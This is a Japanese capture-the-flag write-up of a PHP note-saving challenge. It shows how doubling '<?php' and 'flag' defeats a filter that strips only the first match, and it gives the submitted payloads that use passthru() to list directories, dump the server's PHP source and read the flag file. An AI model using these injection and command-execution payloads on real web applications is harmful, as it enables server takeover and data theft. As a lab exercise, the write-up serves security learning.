WebページのURLが与えられた。
このWebページでは文字列を送信でき、送信するとその内容に基づき.php
で終わるURLのページが作られるようだった。
<?php echo("aaa");
を送信すると、ページには echo("aaa");
が表示された。
<?php <?php echo("aaaa");
を送信すると、ページには aaaa
が表示され、PHPのコードを実行できそうだった。
<?php <?php passthru("ls"); passthru("ls /");
を送信すると、
カレントディレクトリにはランダムっぽい名前の項目に混ざって以下の項目があることがわかった。
なお、passthru() はコマンドを実行してその出力を出力する関数である。
addnote.php
description.txt
index.php
note1.php
note2.php
また、ルートディレクトリにはflag.php
という項目があることがわかった。
<?php <?php passthru("cat /flag.php");
を送信した結果の表示は空だった。
<?php <?php passthru("cat *.php");
を送信すると、結果の中に以下の部分があった。
if(isset($_POST["notewrite"]))
{
$newnote = $_POST["notewrite"];
$notetoadd = str_replace_first("<?php", "", $newnote);
$notetoadd = str_replace_first("?>", "", $notetoadd);
$notetoadd = str_replace_first("<script>", "", $notetoadd);
$notetoadd = str_replace_first("</script>", "", $notetoadd);
$notetoadd = str_replace_first("flag", "", $notetoadd);
$filename = generateRandomString();
array_push($_SESSION["notes"], "$filename.php");
file_put_contents("$filename.php", $notetoadd);
header("location:index.php");
}
この部分から、<?php
を2個重ねたらPHPのコードを実行できたのと同様に、
flag
も2個重ねると良さそうであることが読み取れた。
これを踏まえ、<?php <?php "flag"; passthru("cat /flag.php");
を送信すると、flagが得られた。
writeup by MikeCAT